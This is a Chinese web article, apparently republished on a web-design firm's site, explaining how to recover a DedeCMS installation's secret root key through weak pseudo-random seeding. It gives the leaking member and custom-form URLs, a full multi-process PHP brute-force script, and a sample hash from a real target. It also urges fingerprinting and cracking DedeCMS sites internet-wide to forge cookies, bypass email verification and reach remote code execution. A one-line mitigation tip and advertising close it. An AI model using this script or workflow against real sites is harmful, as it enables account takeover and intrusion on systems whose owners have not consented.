DEDECMS如何獲取rootkey

本篇文章為大家展示了DEDECMS偽隨機(jī)漏洞分析之如何獲取root key,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

本篇文章為大家展示了DEDECMS偽隨機(jī)漏洞分析之如何獲取root key,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

1.用戶(hù)主頁(yè)

創(chuàng)新互聯(lián)長(zhǎng)期為近1000家客戶(hù)提供的網(wǎng)站建設(shè)服務(wù),團(tuán)隊(duì)從業(yè)經(jīng)驗(yàn)10年,關(guān)注不同地域、不同群體,并針對(duì)不同對(duì)象提供差異化的產(chǎn)品和服務(wù);打造開(kāi)放共贏平臺(tái),與合作伙伴共同營(yíng)造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為明山企業(yè)提供專(zhuān)業(yè)的做網(wǎng)站、網(wǎng)站制作,明山網(wǎng)站改版等技術(shù)服務(wù)。擁有十載豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制開(kāi)發(fā)。

1.1 限制條件(中)

要求開(kāi)啟會(huì)員功能

1.2 代碼分析

1.3 獲取方法

請(qǐng)求:(查看admin主頁(yè))

url+/member/index.php?uid=admin

響應(yīng):

admin

last_vid_ckMd5 的hash值

2. 自定義表單

2.1 限制條件(低)

網(wǎng)站管理員需要為網(wǎng)站定義表單.

下載了幾套通過(guò)DEDECMS改造的模板, 都保留了該功能, 且大部分站點(diǎn)有自己的表單格式.或者說(shuō)正常在使用的dedcms大部分都有表單: )

2.2 代碼分析

2.3 獲取方法

請(qǐng)求:(查看表單)

url+/plus/diy.php?diyid=1

響應(yīng):

dede_fieIds

dede_fieIdshash 這兩個(gè)值

3. POC
1. 保存如下代碼到dede_funcookie.php
2. 修改里面的$cpu, $attack_method, $attack_param, $attack_hash
3. 若是目標(biāo)網(wǎng)站為php7: php7 dede_funcookie.php 若是目標(biāo)網(wǎng)站為php5: php5 dede_funcookie.php,若是不明確可以?xún)蓚€(gè)都跑 ε=ε=ε=(~ ̄▽?zhuān)?~

4. 在16核 CPU,8G內(nèi)存下, 跑完整個(gè)程序需要 4444秒,建議不要同時(shí)跑兩個(gè), 注意自己的CPU負(fù)載情況
<?php
$t1=microtime(true);
echo "開(kāi)始時(shí)間: $t1\n";
//請(qǐng)?zhí)顚?xiě)下面的信息
$cpu = 8; // cpu: CPU核數(shù),$cpu對(duì)應(yīng)到開(kāi)啟的進(jìn)程的數(shù)量,不宜過(guò)高
$attack_method = 2; // 碰撞類(lèi)型: 如果是用戶(hù)主頁(yè)就是1, 自定義表單就是2
$attack_param = "";  // 數(shù)據(jù): 選擇1填寫(xiě)uid, 選擇2填寫(xiě)dede_fields

$attack_hash = "";   // hash: 填寫(xiě)hash
$max_ = 4294967296;
$targets_ = [];
$the_1 = (int)($max_ / $cpu);
$the_2 = $max_ % $cpu;
for ($i = 0; $i < $cpu; $i++){
    array_push($targets_,[($i)*$the_1,($i+1)*$the_1]);
}
$chars='abcdefghigklmnopqrstuvwxwyABCDEFGHIGKLMNOPQRSTUVWXWY0123456789';
$max = 61; // strlen($chars) - 1;
$already_test = 0;
for ($i = 0; $i < $cpu; $i++){
    $pid = pcntl_fork();
    if ($pid == -1) {
        die("could not fork");
    } elseif ($pid) {
        ;
        //echo $pid;
        //echo "I'm the Parent $i\n";
    } else {
        //var_dump($targets_[$i][0]);
        the_poc($targets_[$i][0],$targets_[$i][1],$i);
        exit;
    }

}
function the_poc($start,$end,$id){
    global $chars;
    global $max;
    global $attack_method;
    global $attack_param;
    global $attack_hash;
    $the_whole = (int)(($end-$start)/1000000);

    $i_do = 0;
    for($y = $start; $y<= $end; $y++) {
        if (($i_do%1000000) == 1){
                echo "$id 已完成(x1000000): ";
                echo (int)($i_do/1000000);
                echo "/$the_whole\n";
        }
        $i_do = $i_do + 1;
        srand($y);

        $length = rand(28,32);
        mt_srand($y);
        $rnd_cookieEncode='';
        for($i = 0; $i < $length; $i++) {
            $rnd_cookieEncode .= $chars[mt_rand(0, $max)];
        }
        if ($attack_method==1){
            if (substr(md5($rnd_cookieEncode.$attack_param),0,16) == $attack_hash){
                echo "here!!!!\n";
                echo $rnd_cookieEncode;
                echo "\n";
                echo $y;
                echo "\n";
                break;
            }
        }else{
            if (md5($attack_param.$rnd_cookieEncode) == $attack_hash){
                    echo "here!!!!\n";
                    echo $rnd_cookieEncode;
                    echo "\n";
                    echo $y;
                    echo "\n";
            }
        }
    }

}
// 等待子進(jìn)程執(zhí)行結(jié)束
while (pcntl_waitpid(0, $status) != -1) {
    $status = pcntl_wexitstatus($status);
    $pid = posix_getpid();
    echo "Child $status completed\n";
}
$t2=microtime(true)-$t1; //獲取程序1,結(jié)束的時(shí)間
echo "總計(jì)用時(shí): $t2\n";

?>四、危害

1. Cookie偽造

2. 通過(guò)郵箱認(rèn)證

3. 前臺(tái)RCE

郵箱hash算法,唯一不知道的是rootkey, 通過(guò)poc跑出了rootkey,就能構(gòu)造出來(lái),然后訪問(wèn)hash即可通過(guò)郵箱認(rèn)證, 對(duì)于"dedecms前臺(tái)任意用戶(hù)登錄"的利用有些許幫助⑧

五、實(shí)戰(zhàn)

TIPS: 可以通過(guò)指紋,把hash全部采集到, 然后腳本跑一遍即可全部出結(jié)果, 因?yàn)槿W(wǎng)的dedecms的root key分布在2^33這個(gè)范圍內(nèi): ), 在跑腳本遍歷這個(gè)范圍的時(shí)候其實(shí)都覆蓋到了.

FIND A Luck One:

1. 指紋查找

2. 碰撞data和hash

3. ATTACK:

修改一下dede_funcookie.php里面的參數(shù):*本文作者:,轉(zhuǎn)載請(qǐng)注明來(lái)自FreeBuf.COM
$cpu = 16
$attack_method = 2
$attack_param = "name,text;tel,text;content,text;hz,text;qq,text"

$attack_hash = "a058f44c032cf2e4da07ebe80fbd52d8"

4. GET ROOT KEY AND ENJOY:

睡了一覺(jué), 看一下結(jié)果:

在nohup2.out里面:

防護(hù)建議

可以考慮在rootkey后面手動(dòng)加入一些值,或者生成算法部分加入當(dāng)前時(shí)間、ip、servername,或者uuid混合一下,作為防護(hù)手段。

網(wǎng)站欄目:DEDECMS如何獲取rootkey
網(wǎng)站地址:http://muchs.cn/article22/hcgcc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供App開(kāi)發(fā)、App設(shè)計(jì)網(wǎng)站設(shè)計(jì)公司、Google小程序開(kāi)發(fā)、外貿(mào)建站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

h5響應(yīng)式網(wǎng)站建設(shè)